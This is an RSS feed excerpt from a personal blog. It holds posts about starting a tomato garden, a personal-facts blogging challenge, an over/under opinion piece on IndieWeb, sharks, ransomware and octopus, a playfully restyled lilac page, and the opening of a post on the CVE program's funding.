&lt;p&gt;I’ve never had a garden before, and besides having a house plant here and there over the years, I’ve not really “grown” much of anything in my life. As such, at t=0 I didn’t have much &lt;strong&gt;gear&lt;/strong&gt; to speak of—and as we all know of course, ya gotta have the right gear! So I picked up a few things from the hardware store. Here’s my new loadout…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lowes.com/pd/Fiskars-6-25-in-Aluminum-Garden-Trowel/5014577901&quot;&gt;Garden Trowel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lowes.com/pd/Project-Source-Men-s-Leather-Rose-Pruning-Glove-Large-X-Large/5013237213&quot;&gt;Gardening Gloves&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lowes.com/pd/Scotts-MG-ORGANIC-OUTDOOR-POTTING-MIX-25QT/5015272245&quot;&gt;Potting Soil&lt;/a&gt; (more on what I’m planting in this &lt;a href=&quot;#tomatoes-&quot;&gt;soon&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.lowes.com/pd/33-in-Galvanized-Steel-Wire-Round-Tomato-Cage/3430110&quot;&gt;Plant Cage&lt;/a&gt; (here’s a hint though…)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/gear.jpeg&quot; alt=&quot;Gear Check&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;the-garden&quot;&gt;The Garden&lt;/h1&gt;

&lt;p&gt;My back yard is a &lt;em&gt;bit&lt;/em&gt; of a mess and quite “in-flux” right now with the ongoing screened-porch build. There is a spot I’ve identified as a potentially ideal location for a “garden” in the future, but as of right now, it’s just not ready for &lt;s&gt;terraforming&lt;/s&gt; garden-forming.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/future-garden-spot.jpeg&quot; alt=&quot;THE FUTURE SPOT&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Instead, I will be using an existing planting area to house a few things for this season. It’s a good way for me to get a little practice in and can commit to something more long-term later this year or next “season” entirely. Here’s what that space looks like now. I need to dig up what’s there and get it ready for what I &lt;a href=&quot;#tomatoes-&quot;&gt;plan to plant&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/mini-garden.jpeg&quot; alt=&quot;TOMATO PLANTING SPOT&quot; /&gt;&lt;/p&gt;

&lt;p&gt;What’s interesting, is there’s some &lt;strong&gt;chives&lt;/strong&gt; and &lt;strong&gt;oregano&lt;/strong&gt; already growing there. I suppose I can thank the previous owners of this house. Not sure whether I’ll keep those herbs there or just remove them to make way for what’s new.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/chives-oregano.jpeg&quot; alt=&quot;CHIVES &amp;amp; OREGANO&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;tomatoes-&quot;&gt;Tomatoes! 🍅&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Story time&lt;/strong&gt;: I was a “Navy brat” growing up, and as such, lived in various places up and down the East Coast during my childhood. One constant throughout that time was visiting my grandparents (and other relatives) who lived in South Carolina (specifically, Charleston). I have very fond memories of those times. One standout element of those visits was always the &lt;strong&gt;food&lt;/strong&gt;. My grandma made a lot of things that I only really ever had &lt;em&gt;there&lt;/em&gt;–field peas, banana pudding, pound cake, this very particular sweet tea, her pancakes, etc… But one of my favorite things was always the &lt;strong&gt;tomatoes&lt;/strong&gt; and &lt;strong&gt;cucumbers&lt;/strong&gt;, fresh from the garden. You &lt;u&gt;cannot&lt;/u&gt; get tomatoes like those at the store. In my experience, I can’t even get tomatoes that good at a farmers market around here. It’s not just nostalgia talkin’ either. I’ve &lt;em&gt;recently&lt;/em&gt; had one of grandma’s tomatoes and it holds up. They’re delicious &amp;amp; entirely unmatched.&lt;/p&gt;

&lt;p&gt;I like to eat just sliced tomatoes, with a bit of salt and pepper on them. I also like them on a BLT. Unsatisfied with my options at the store, I’ve long thought about growing my own. Up until recently, it wasn’t &lt;em&gt;really&lt;/em&gt; an option for me as I didn’t have a place to grow them. However, since moving into a new place, I now have some space for a garden! So, the other day, I finally decided to get into it.&lt;/p&gt;

&lt;p&gt;Turns out, I know nothing about gardening. I didn’t even really know much about tomatoes, aside from the fact that I like to eat them and the varieties at the store are kinda weak-sauce. So I started doin’ a bit of research and came across &lt;a href=&quot;https://www.theseasonalhomestead.com/10-best-tomatoes-to-grow/&quot;&gt;this article&lt;/a&gt; discussing the best tomato varieties. Ultimately, I decided to pick up some &lt;a href=&quot;https://www.lowes.com/pd/Bonnie-Plants-Tomatoes-Pot-Plant-2-Pack/5014707943&quot;&gt;Cherokee Purple&lt;/a&gt; plants from the store.&lt;/p&gt;

&lt;p&gt;Here they are in all their li’l sprouty splendor!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/tomato-babies.jpeg&quot; alt=&quot;Tomato Babies&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I’d love to blast out and immediately plant these babies, but from what I’ve read, maybe it’s not that simple? I’m still learning here, but I think I have a few things to consider before transplanting them to the chosen garden bed. First, I may need to &lt;a href=&quot;https://www.almanac.com/how-harden-seedlings&quot;&gt;harden&lt;/a&gt; them up a bit to get them ready for the outside world. Second, the forecast is pretty dreadful for tomatoes—who like water, but maybe not &lt;em&gt;this&lt;/em&gt; much.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/forecast.jpeg&quot; alt=&quot;10-Day Forecast&quot; width=&quot;400px&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I’m goin’ to move these outside for a few hours each day to get them ready, but keep them inside to spare them from some of the heavier rain that I might be expecting.&lt;/p&gt;

&lt;p&gt;In a week or so I’ll be back to chat prepping the space, installing the cages and transplanting. See ya! 👋&lt;/p&gt;

&lt;h1 id=&quot;planted&quot;&gt;Planted!&lt;/h1&gt;
&lt;p&gt;&lt;u&gt;Update! (5/16)&lt;/u&gt;: They’re in!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/tomatoes-planted.jpeg&quot; alt=&quot;tomatoes planted&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Look at how beautiful it is! 🥹&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.us-east-1.amazonaws.com/2025/gardenlog/tomato-planted-closeup.jpeg&quot; alt=&quot;tomato close-up&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now to water, and maintain. I’ll check back in when I have something noteworthy to report!&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;miscellaneous--resources&quot;&gt;Miscellaneous &amp;amp; Resources&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/be-weird&quot;&gt;Yeah&lt;/a&gt;, I made it &lt;strong&gt;Asparagus&lt;/strong&gt; (hex code: #87a96b)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.almanac.com/plant/tomatoes&quot;&gt;Almanac: How to Grow Tomato Plants: The Complete Guide&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://www.almanac.com/how-harden-seedlings&quot;&gt;Hardening Guide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.themakermakes.com/blog/growing-tomatoes-for-beginners&quot;&gt;The Maker Makes Tomato Guide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bonnieplants.com/blogs/how-to-grow/growing-tomatoes&quot;&gt;Bonnie Plants Growing Tomatoes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://giantveggiegardener.com/2013/05/11/soil-temperature-is-important-when-planting-tomatoes/&quot;&gt;Soil Temperature Guide for Tomatoes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://u.osu.edu/growingfranklin/2019/06/18/keeping-tomatoes-healthy-in-wet-weather/&quot;&gt;Keeping Tomatoes Healthy in Wet Weather&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.gardentech.com/blog/garden-and-lawn-protection/easy-steps-to-grow-your-own-tomatoes&quot;&gt;GardenTech Tomato Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Fri, 09 May 2025 16:36:00 -0400</pubDate>
        <link>https://shellsharks.com/gardenlog</link>
        <guid isPermaLink="true">https://shellsharks.com/gardenlog</guid>
        
        <category>life</category>
        
        <category>gardening</category>
        
        <category>gardenlog</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>BQC: Ten Pointless Facts About Me</title>
        <shark:summary><p>Here’s a blogging challenge kicked off by <a href="https://forkingmad.blog/ten-pointless-facts-about-me/">Forking Mad</a>. Here’s 10 “pointless” questions, and their answers, from me!</p>
</shark:summary>
        <description>&lt;p&gt;Here’s a blogging challenge kicked off by &lt;a href=&quot;https://forkingmad.blog/ten-pointless-facts-about-me/&quot;&gt;Forking Mad&lt;/a&gt;. Here’s 10 “pointless” questions, and their answers, from me!&lt;/p&gt;

&lt;h2 id=&quot;do-you-floss-your-teeth&quot;&gt;Do you floss your teeth?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;. Though not as routinely as I &lt;em&gt;used&lt;/em&gt; to. You see, some time ago I had my top-back-molars on both sides of my mouth pulled. They had long bothered me—I couldn’t eat much of anything without food getting stuck inbetween those teeth and the set in front of them. This would cause serious discomfort which I could alleviate by flossing said food out. This meant I flossed at least once, but likely multiple times each day. Since having those teeth pulled, food does not get stuck in my teeth in the same way, so my flossing habit has suffered a bit. I still floss &lt;em&gt;most&lt;/em&gt; days though.&lt;/p&gt;

&lt;h2 id=&quot;tea-coffee-or-water&quot;&gt;Tea, coffee, or water?&lt;/h2&gt;
&lt;p&gt;These days, &lt;strong&gt;coffee&lt;/strong&gt; for sure. In fact, I’ve recently gotten into making my own &lt;a href=&quot;https://shellsharks.com/captains-log/2025/03/27/log#life&quot;&gt;cold brew&lt;/a&gt;. It’s delicious! I’ll normally have some coffee at least once, but usually twice a day (a cup in the morning and another sometime in the afternoon). My coffee habit only started during the pandemic though (oddly enough). Before that, I was a &lt;u&gt;sweet&lt;/u&gt; tea person all the way. I can thank my southern roots for that I suppose. But unfortunately, all the sweet tea I was drinking back in those days started to cause me some health issues so I had to change course a bit. Coffee is magical though, so not a bad replacement ☕️ 😁.&lt;/p&gt;

&lt;p&gt;I do drink a lot of water though, especially on days where I am at the gym (which is most days!)&lt;/p&gt;

&lt;h2 id=&quot;footwear-preference&quot;&gt;Footwear preference?&lt;/h2&gt;
&lt;p&gt;I tried looking for the &lt;em&gt;exact&lt;/em&gt; shoe, but perhaps they are no longer available? &lt;em&gt;Anyways&lt;/em&gt;, my prefered shoe are these &lt;strong&gt;Salomon hiking shoes/boots&lt;/strong&gt; (in black) that are kinda a hybrid “regular” hiking boot and sneaker. They are super comfortable, extremely versatile, waterproof, last forever and I like the way they look. I wear ‘em everywhere!&lt;/p&gt;

&lt;h2 id=&quot;favourite-dessert&quot;&gt;Favourite dessert?&lt;/h2&gt;
&lt;p&gt;This &lt;em&gt;kinda&lt;/em&gt; depends on the situation—or my mood. Traditionally, my favorite dessert has been &lt;strong&gt;cheesecake&lt;/strong&gt;. But I also love &lt;strong&gt;blueberry cobbler&lt;/strong&gt; and &lt;strong&gt;rum cake&lt;/strong&gt;. I have a rum cake every year for my birthday in fact 🎂.&lt;/p&gt;

&lt;p&gt;I also really love tiramisu 🤤&lt;/p&gt;

&lt;h2 id=&quot;the-first-thing-you-do-when-you-wake-up&quot;&gt;The first thing you do when you wake up?&lt;/h2&gt;
&lt;p&gt;I usually roll over and &lt;strong&gt;go back to sleep&lt;/strong&gt; for a few more minutes 😴. Then, probably pick up my phone and check some combination of Apple News, Fedi, Email and other notifications that came in over-night.&lt;/p&gt;

&lt;h2 id=&quot;age-youd-like-to-stick-at&quot;&gt;Age you’d like to stick at?&lt;/h2&gt;
&lt;p&gt;Well for all the usual reasons it’d be nice to have some of the qualities that came with youth (&lt;strong&gt;~mid-20’s&lt;/strong&gt;)—back when I didn’t get sleepy after one beer, had no knee pain and could recover from anything in ~48 hours. But aside from that, aging hasn’t been so bad for me. It’s brought me new and exciting professional challenges, I’m a father to two cute little nuggets, I’m in the best physical shape I’ve ever been in… I dunno, things aren’t so bad at this age…&lt;/p&gt;

&lt;h2 id=&quot;how-many-hats-do-you-own&quot;&gt;How many hats do you own?&lt;/h2&gt;
&lt;p&gt;Own? 6-10 maybe. How many do I actually wear? Well I’m not much of a hat guy, but I do have &lt;strong&gt;a sun hat&lt;/strong&gt;-kinda thing I’ll bust out when doing yard work sometimes 🤷‍♂️. All my other hats are ones I’ve picked up at security conferences 😂.&lt;/p&gt;

&lt;h2 id=&quot;describe-the-last-photo-you-took&quot;&gt;Describe the last photo you took?&lt;/h2&gt;
&lt;p&gt;The last thing in my photos app is actually a video. It’s the cutest thing really. Whenever my daughter (she’s 1) wants a snack, she grabs it from the pantry and then excitedly runs over and brings it to me. After she hands it to over, she’ll do this rapid fire series of &lt;strong&gt;li’l baby jumps&lt;/strong&gt;. The cute hoppy anticipation is just the best 🥰.&lt;/p&gt;

&lt;h2 id=&quot;worst-tv-show&quot;&gt;Worst TV show?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Big Bang Theory&lt;/strong&gt;. Just awful. I won’t be taking questions.&lt;/p&gt;

&lt;h2 id=&quot;as-a-child-what-was-your-aspiration-for-adulthood&quot;&gt;As a child, what was your aspiration for adulthood?&lt;/h2&gt;
&lt;p&gt;From what I remember, I had a few “what do I want to be when I grow up” phases. (In no particular order)…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Astronaut&lt;/li&gt;
  &lt;li&gt;Archaeologist&lt;/li&gt;
  &lt;li&gt;Paleontologist&lt;/li&gt;
  &lt;li&gt;Doctor&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’m pretty sure all of these came after watching some relevant TV show or movie 😅.&lt;/p&gt;
</description>
        <pubDate>Fri, 02 May 2025 22:04:00 -0400</pubDate>
        <link>https://shellsharks.com/bqc-ten-pointless-facts</link>
        <guid isPermaLink="true">https://shellsharks.com/bqc-ten-pointless-facts</guid>
        
        <category>life</category>
        
        <category>blogchallenge</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Over/Under with Shellsharks</title>
        <shark:summary><p>Here’s <a href="#overunder-with-shellsharks">my submission</a> to <a href="https://lazybea.rs/">lazybea.rs</a> series <strong><a href="https://lazybea.rs/tags/over/under">Over/Under</a></strong>. The idea is simple, <a href="https://lazybea.rs/hyde.stevenson/">Hyde</a> gives me some topics and I state whether those things are <u>overrated</u> or <u>underrated</u>, with some text about why. Here were my chosen topics…
<br /></p>
<ul>
  <li><a href="#indieweb">Indieweb</a></li>
  <li><a href="#slash-pages">Slashpages</a></li>
  <li><a href="#sharks-are-dangerous">Sharks are dangerous</a></li>
  <li><a href="#ransomware">Ransomware</a></li>
  <li><a href="#octopus-dishes">Octopus dishes</a></li>
</ul>
</shark:summary>
        <description>&lt;p&gt;Here’s &lt;a href=&quot;#overunder-with-shellsharks&quot;&gt;my submission&lt;/a&gt; to &lt;a href=&quot;https://lazybea.rs/&quot;&gt;lazybea.rs&lt;/a&gt; series &lt;strong&gt;&lt;a href=&quot;https://lazybea.rs/tags/over/under&quot;&gt;Over/Under&lt;/a&gt;&lt;/strong&gt;. The idea is simple, &lt;a href=&quot;https://lazybea.rs/hyde.stevenson/&quot;&gt;Hyde&lt;/a&gt; gives me some topics and I state whether those things are &lt;u&gt;overrated&lt;/u&gt; or &lt;u&gt;underrated&lt;/u&gt;, with some text about why. Here were my chosen topics…
&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#indieweb&quot;&gt;Indieweb&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#slash-pages&quot;&gt;Slashpages&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sharks-are-dangerous&quot;&gt;Sharks are dangerous&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#ransomware&quot;&gt;Ransomware&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#octopus-dishes&quot;&gt;Octopus dishes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Go read this post over at &lt;strong&gt;&lt;a href=&quot;https://lazybea.rs/ovr-015/&quot;&gt;lazybea.rs&lt;/a&gt;&lt;/strong&gt;!&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;overunder-with-shellsharks&quot;&gt;Over/Under with Shellsharks&lt;/h1&gt;

&lt;h2 id=&quot;indieweb&quot;&gt;IndieWeb&lt;/h2&gt;
&lt;p&gt;By &lt;em&gt;most&lt;/em&gt;, the &lt;a href=&quot;https://indieweb.org/&quot;&gt;IndieWeb&lt;/a&gt; is severely &lt;strong&gt;underrated&lt;/strong&gt;—by the enlightened few, consider it &lt;em&gt;adequately-rated&lt;/em&gt;. It’s probably of no surprise to anyone who has followed my writing for the last two-&lt;i&gt;ish&lt;/i&gt; years—I &lt;u&gt;&lt;b&gt;love&lt;/b&gt;&lt;/u&gt; the IndieWeb, and personal blogging in general. I frequently write on the &lt;a href=&quot;https://shellsharks.com/tags?tag=indieweb&quot;&gt;subject&lt;/a&gt;, have built many-a-reference dedicated to collecting &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;resources&lt;/a&gt; and educating others, and I &lt;em&gt;somewhat recently&lt;/em&gt; started a “newsletter”-type thingy dubbed “&lt;a href=&quot;https://shellsharks.com/scrolls&quot;&gt;Scrolls&lt;/a&gt;”, which heavily features content and personalities from across the IndieWeb. I love me some IndieWeb.&lt;/p&gt;

&lt;h2 id=&quot;slash-pages&quot;&gt;Slash Pages&lt;/h2&gt;
&lt;p&gt;Though I have to give &lt;em&gt;all&lt;/em&gt; credit to &lt;a href=&quot;https://rknight.me/&quot; class=&quot;rknight-me&quot;&gt;Robb&lt;/a&gt; for the creation and maintenance of the venerable &lt;a href=&quot;https://slashpages.net&quot;&gt;Slashpages.net&lt;/a&gt;, I can give myself a tiny nod as Robb did consult me prior to the site going live on what my thoughts were on how they should be defined and what pages should/could be included. He was even nice enough to give me a named credit on the site and include my silly &lt;a href=&quot;https://shellsharks.com/chipotle&quot;&gt;/chipotle&lt;/a&gt; slash-page 🌶️ 😆.&lt;/p&gt;

&lt;p&gt;Slash Pages are just &lt;u&gt;fun&lt;/u&gt;. They are an emodiment of the IndieWeb experiment. They are meant to share something about &lt;em&gt;you&lt;/em&gt;, the individual behind the site. They exist in a place (the root of your site) that should be relatively common across other IndieWeb sites—which leads to improved discoverability and a greater sense of community. They are also just quirky, silly and very &lt;strong&gt;human&lt;/strong&gt;—something the web, &lt;em&gt;and the world&lt;/em&gt;, desperately need more of.&lt;/p&gt;

&lt;p&gt;In the weeks and months since Robb launched the site, I’ve noticed a really promising level of adoption across my own IndieWeb circles. I hope to see more people have fun with this idea, add Slash Pages to their site, come up with new ones, etc… For now, I believe it is still vastly &lt;strong&gt;underrated&lt;/strong&gt;!&lt;/p&gt;

&lt;h2 id=&quot;sharks-are-dangerous&quot;&gt;Sharks are Dangerous&lt;/h2&gt;
&lt;p&gt;I maintain a healthy respect for &lt;u&gt;all&lt;/u&gt; wild animals. They deserve as much if you ask me. They are also &lt;em&gt;all&lt;/em&gt; equipped with a dizzying assortment of defensive capabilities. So for your own protection, I suggest everyone maintain safe distances and treat all life with respect. This is &lt;em&gt;doubly-true&lt;/em&gt; concerning creatures that are &lt;em&gt;of-the-sea&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;I’m a land-walker. On-land, I feel like I can hold my own well-enough. I can see things that approach me, I can hear them, I can run pretty fast for a human, I can even pick up something to defend myself if I needed to. Not saying I could tussle with, and win, against any manner of land-faring beast, but I can do &lt;em&gt;something&lt;/em&gt;. When it comes to the &lt;strong&gt;water&lt;/strong&gt; though? I’m completely defenseless. I can swim, &lt;em&gt;yeah&lt;/em&gt;—but that’s about it. I can’t really see underwater, I have no means to really detect if something is about to “get me”. I don’t think my futile punches or kicks would amount to much, especially against something like a shark.&lt;/p&gt;

&lt;p&gt;All this to say, I &lt;em&gt;do&lt;/em&gt; think Sharks are dangerous—or rather they &lt;em&gt;can&lt;/em&gt; be. If you don’t have that healthy respect for them. They are apex predators afterall, and they dominate in a world that humans, just naturally &lt;em&gt;don’t&lt;/em&gt;. You’ve probably seen that statistically, sharks aren’t particularly harmful to humans. This is &lt;em&gt;probably&lt;/em&gt; true. As such, I think the danger of sharks is probably &lt;strong&gt;properly rated&lt;/strong&gt;. Humans aren’t natural prey for sharks (thankfully), and we as humans do some things to avoid sharks where we can. Sharks are innately curious, and infinitely &lt;strong&gt;cool&lt;/strong&gt;. I mean, I have a lot of shark-themed stuff on my site, so you &lt;em&gt;know&lt;/em&gt; I have somewhat of an affinity.&lt;/p&gt;

&lt;h2 id=&quot;ransomware&quot;&gt;Ransomware&lt;/h2&gt;

&lt;p&gt;I’m (professionally) in infosec, so I have an appreciation and technical understanding of Ransomware—how it can happen, how to defend against it, and the impacts of an incident. Ransomware is consistently placed at the top of “things to worry about” lists (e.g. &lt;a href=&quot;https://www.verizon.com/business/resources/reports/dbir/&quot;&gt;Verizon’s DBIR&lt;/a&gt;) and yet, remains inadequately defended against time after time, across all observable sectors. I think it’s &lt;strong&gt;impossible to overrate&lt;/strong&gt; the financial impact of a serious ransomware-related breach. Entire companies have been snuffed out of existence thanks to them—and &lt;a href=&quot;https://shellsharks.com/podcast/2022/07/11/raap&quot;&gt;ransomware-as-a-business&lt;/a&gt; in and of itself is measured in the &lt;em&gt;billions&lt;/em&gt;, if not trillions, yearly.&lt;/p&gt;

&lt;h2 id=&quot;octopus-dishes&quot;&gt;Octopus Dishes&lt;/h2&gt;

&lt;p&gt;Fried, and then dipped in some sort of sauce? &lt;em&gt;Sure&lt;/em&gt;. Otherwise? &lt;em&gt;Ehhhh&lt;/em&gt;, not really my thing. Not a big tentacle guy I suppose. I gotta say &lt;strong&gt;overrated&lt;/strong&gt;.&lt;/p&gt;
</description>
        <pubDate>Mon, 21 Apr 2025 08:00:00 -0400</pubDate>
        <link>https://shellsharks.com/over-under-shellsharks</link>
        <guid isPermaLink="true">https://shellsharks.com/over-under-shellsharks</guid>
        
        <category>technology</category>
        
        <category>life</category>
        
        <category>infosec</category>
        
        <category>blogging</category>
        
        <category>indieweb</category>
        
        
        <category>technology</category>
        
        <category>life</category>
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Yeah, I Made It Lilac</title>
        <shark:summary><p>Did you know if you have your own website, you can do <u>whatever</u> you want with it? <em>Like</em>… it doesn’t have to be all snobby or professional. <em>Or like</em>… some of it can, but some of it could just not be, <em>y’know?</em> 
<br /></p>
<style>
  #latestpostcontent {background-color: #A47DAB; p {color:black;} a { color:darkblue; } span>i {color: black;} border-radius: 10px; padding: 5px 10px 5px 10px;}
</style>

</shark:summary>
        <description>&lt;p&gt;Did you know if you have your own website, you can do &lt;u&gt;whatever&lt;/u&gt; you want with it? &lt;em&gt;Like&lt;/em&gt;… it doesn’t have to be all snobby or professional. &lt;em&gt;Or like&lt;/em&gt;… some of it can, but some of it could just not be, &lt;em&gt;y’know?&lt;/em&gt; 
&lt;br /&gt;&lt;/p&gt;
&lt;style&gt;
  #latestpostcontent {background-color: #A47DAB; p {color:black;} a { color:darkblue; } span&gt;i {color: black;} border-radius: 10px; padding: 5px 10px 5px 10px;}
&lt;/style&gt;

&lt;style&gt;
  body {
    background-color: #A47DAB;
  }
  main {
    font-family: &apos;Times New Roman&apos;, serif;
    color: black;
    font-size: 1.2em;
  }
  .primarycolor {
    color: black;
  }
  article * a {
    color: darkblue;
    text-decoration-line: underline;
    text-decoration-color: darkgreen;
  }
  footer * span {
    color: black !important; 
  }
  p {
    color: black;
  }
&lt;/style&gt;

&lt;p&gt;Check this s*** out for example. I went positively rogue on this page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/derpshark.png&quot; width=&quot;250px&quot; title=&quot;derpshark&quot; style=&quot;transform: rotate(0.05turn); position:relative; left:15%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Then&lt;/em&gt;, I slapped my derpy turtle shark thing there ⤴. For &lt;u&gt;NO&lt;/u&gt; reason. Isn’t he breathtaking?&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Does this post look good?&lt;/em&gt; Stop. Don’t care. Doesn’t need to. It is what it is—and what it is, is just something I &lt;em&gt;felt&lt;/em&gt; like doing in the moment. I’m going to publish this. Then… I might tweak it. Maybe I’ll add &lt;em&gt;more&lt;/em&gt; ridiculous stuff to it. Y’know, when I &lt;em&gt;feel&lt;/em&gt; like it. &lt;em&gt;Or&lt;/em&gt;, maybe I’ll take it down sometime. Maybe I’ll change the background title and color. I’ma just &lt;strong&gt;vibe&lt;/strong&gt;, &lt;em&gt;cool&lt;/em&gt;?&lt;/p&gt;

&lt;p style=&quot;font-family: Lucinda, cursive;&quot;&gt;🚨 New font alert!! 🚨&lt;br /&gt;&lt;br /&gt;Yeah that&apos;s right. Out of nowhere we got this fancy-lookin&apos; font goin&apos; on. &lt;u&gt;Dope&lt;/u&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;OK&lt;/em&gt;, we’re back.&lt;/p&gt;

&lt;p&gt;🎵 &lt;em&gt;Doopa-choppa-doooo&lt;/em&gt; 🎶—what should I do now?&lt;/p&gt;

&lt;p&gt;I’m &lt;em&gt;trying&lt;/em&gt; to send some sort of &lt;span style=&quot;font-size:3em;&quot;&gt;message&lt;/span&gt; here.&lt;/p&gt;

&lt;p&gt;The message is &lt;span style=&quot;font-family: &apos;Courier New&apos;, monospace;&quot;&gt;simple&lt;/span&gt;, yet ✨eloquence✨ may not be my forté. Your site is for &lt;u&gt;you&lt;/u&gt;—to be you–and you’re almost &lt;u&gt;certainly&lt;/u&gt; &lt;em&gt;kinda&lt;/em&gt; weird, right? So own it! Stop worrying about making it “perfect” (&lt;em&gt;whatever that means&lt;/em&gt;). Or making it professional (🤢). Or making it &lt;em&gt;need&lt;/em&gt; to have this or that. It ain’t that serious. Be more like &lt;em&gt;this&lt;/em&gt; page. &lt;u&gt;Be Weird&lt;/u&gt;.&lt;/p&gt;

&lt;h3 id=&quot;update&quot;&gt;Update!&lt;/h3&gt;

&lt;p&gt;I told you I’d do this. I was munching on a block of extra sharp cheddar cheese thinking about this post and decided I had some more I wanted to say.&lt;/p&gt;

&lt;p&gt;You look at this page and you might think it’s “weird”. I mean I do. I’ve said as much throughout. &lt;em&gt;But why&lt;/em&gt;? Was it really so long ago that almost all sites looked like this? Personalized. Amateur. Unique. Human—in a time of the “old web”. It &lt;em&gt;does&lt;/em&gt; seem like it was a lifetime ago doesn’t it? It’s too bad that people’s blogs have become &lt;u&gt;not&lt;/u&gt; like this. The &lt;em&gt;substack-ification&lt;/em&gt; of people’s web presence is what’s grotesque if you ask me. &lt;em&gt;I dunno&lt;/em&gt;… can you make just &lt;em&gt;one&lt;/em&gt; of your pages on Substack lilac? 🌸&lt;/p&gt;

&lt;p&gt;…&lt;em&gt;probably not&lt;/em&gt; 😔&lt;/p&gt;

&lt;p&gt;Come here (the &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt;) and be weird with me. With us.&lt;/p&gt;
</description>
        <pubDate>Fri, 18 Apr 2025 12:08:00 -0400</pubDate>
        <link>https://shellsharks.com/be-weird</link>
        <guid isPermaLink="true">https://shellsharks.com/be-weird</guid>
        
        <category>life</category>
        
        <category>blogging</category>
        
        <category>indieweb</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>The Death of CVE</title>
        <shark:summary><p>The <a href="https://cve.mitre.org/">CVE program</a> is <a href="https://www.theverge.com/news/649314/cve-mitre-funding-vulnerabilities-exposures-funding">dying</a>. <em>Damn</em>. <sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>
<br /><br />
What does this mean? What were CVEs (Common Vulnerabilities and Exposures) doin’ for us anyway? Are CVEs considered critical cybersecurity infrastructure? What are we gunna’ do now?! <em>Panic</em>!! Read on for more hyper-composed and ever-well-researched analysis! (Plus, plenty of related resources, per usual.)</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1">
      <p><a href="https://www.bleepingcomputer.com/news/security/cisa-extends-funding-to-ensure-no-lapse-in-critical-cve-services/">No lapse in critical CVE services</a> <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
</shark:summary>
